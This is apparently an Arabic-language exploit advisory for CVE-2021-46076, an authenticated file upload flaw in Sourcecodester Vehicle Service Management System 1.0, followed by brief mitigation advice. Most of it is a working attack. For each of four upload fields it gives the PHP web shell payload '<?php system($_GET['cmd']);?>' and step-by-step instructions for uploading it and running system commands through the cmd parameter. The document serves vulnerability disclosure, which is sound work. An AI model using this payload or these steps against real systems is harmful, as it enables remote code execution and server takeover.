CVE-2021-46076

عنوان الاستغلال: نظام إدارة خدمة المركبات - رفع ملفات 'متعدد' يؤدي إلى تنفيذ الأكواد

مؤلف الاستغلال: SANU P.L

CVE: CVE-2021-46076

CVSS: 8.8 عالية

المراجع:

• https://www.plsanu.com/vehicle-service-management-system-multiple-file-upload-leads-to-code-execution
• https://nvd.nist.gov/vuln/detail/CVE-2021-46076
• https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-46076

الوصف:

نظام إدارة خدمة المركبات من Sourcecodester الإصدار 1.0 عرضة لثغرة رفع الملفات. يمكن للمهاجم رفع ملف php خبيث عبر نقاط نهاية (endpoints) متعددة مما يؤدي إلى تنفيذ الأكواد.

1. نظام إدارة خدمة المركبات - 'حسابي' (/admin/?page=user)

الاستغلال:

1. سجّل الدخول إلى لوحة التحكم http://localhost/vehicle_service/admin
2. انتقل إلى قسم حسابي http://localhost/vehicle_service/admin/?page=user

الحمولة:

<?php system($_GET['cmd']);?>

3. احفظ كود php أعلاه، على سبيل المثال: Cmd.php
4. في قسم حسابي، أدخل جميع التفاصيل المطلوبة واختر ملف php في حقل الصورة الرمزية (Avatar).
5. انقر على زر التحديث.
6. افتح الصورة الرمزية في تبويب جديد.
7. أضف معامل cmd إلى الرابط ونفّذ الأوامر.
8. الرابط النهائي: http://localhost/vehicle_service/uploads/1640632740_Cmd.php?cmd=whoami
9. نفّذ جميع أوامر النظام، على سبيل المثال: id, whoami, pwd إلخ.

2. نظام إدارة خدمة المركبات - 'قائمة المستخدمين' (/admin/?page=user/manage_user)

الاستغلال:

1. سجّل الدخول إلى لوحة التحكم http://localhost/vehicle_service/admin
2. انتقل إلى قسم قائمة المستخدمين وانقر على زر إنشاء جديد.

الحمولة:

<?php system($_GET['cmd']);?>

3. احفظ كود php أعلاه، على سبيل المثال: Cmd.php
4. في صفحة إنشاء مستخدم جديد، أدخل جميع التفاصيل المطلوبة واختر ملف php في حقل الصورة الرمزية (Avatar).
5. انقر على زر الحفظ.
6. افتح الصورة الرمزية في تبويب جديد.
7. أضف معامل cmd إلى الرابط ونفّذ الأوامر.
8. الرابط النهائي: http://localhost/vehicle_service/uploads/1640632740_Cmd.php?cmd=whoami
9. نفّذ جميع أوامر النظام، على سبيل المثال: id, whoami, pwd إلخ.

3. نظام إدارة خدمة المركبات - 'الإعدادات - شعار النظام' (/admin/?page=system_info)

الاستغلال:

1. سجّل الدخول إلى لوحة التحكم http://localhost/vehicle_service/admin
2. انتقل إلى قسم الإعدادات http://localhost/vehicle_service/admin/?page=system_info

الحمولة:

<?php system($_GET['cmd']);?>

3. احفظ كود php أعلاه، على سبيل المثال: Cmd.php
4. في قسم الإعدادات، أدخل جميع التفاصيل المطلوبة واختر ملف php في حقل شعار النظام (System Logo).
5. انقر على زر التحديث.
6. افتح صورة شعار النظام في تبويب جديد.
7. أضف معامل cmd إلى الرابط ونفّذ الأوامر.
8. الرابط النهائي: http://localhost/vehicle_service/uploads/1640632740_Cmd.php?cmd=whoami
9. نفّذ جميع أوامر النظام، على سبيل المثال: id, whoami, pwd إلخ.

4. نظام إدارة خدمة المركبات - 'الإعدادات - غلاف الموقع' (/admin/?page=system_info)

الاستغلال:

1. سجّل الدخول إلى لوحة التحكم http://localhost/vehicle_service/admin
2. انتقل إلى قسم الإعدادات http://localhost/vehicle_service/admin/?page=system_info

الحمولة:

<?php system($_GET['cmd']);?>

3. احفظ كود php أعلاه، على سبيل المثال: Cmd.php
4. في قسم الإعدادات، أدخل جميع التفاصيل المطلوبة واختر ملف php في حقل غلاف الموقع (Website Cover).
5. انقر على زر التحديث.
6. افتح صورة غلاف الموقع في تبويب جديد.
7. أضف معامل cmd إلى الرابط ونفّذ الأوامر.
8. الرابط النهائي: http://localhost/vehicle_service/uploads/1640632740_Cmd.php?cmd=whoami
9. نفّذ جميع أوامر النظام، على سبيل المثال: id, whoami, pwd إلخ.

التأثير:

يمكن للمهاجم رفع ملف php خبيث عبر نقاط نهاية (endpoints) متعددة، مما يؤدي إلى تنفيذ الأكواد.

التخفيف:

يُنصح بتنفيذ ما يلي:

• لا تقبل أبدًا اسم الملف وامتداده مباشرةً دون وجود مرشح قائمة بيضاء (white-list).
• إذا لم تكن هناك حاجة لأحرف Unicode، يُنصح بشدة بقبول الأحرف الأبجدية الرقمية (alpha-numeric) ونقطة واحدة فقط كمدخل لاسم الملف والامتداد.
• حدّد حجم الملف إلى قيمة قصوى لمنع هجمات حجب الخدمة.
• يجب ألا يمتلك دليل الرفع أي صلاحية "تنفيذ".
• لا تعتمد على التحقق من جانب العميل فقط.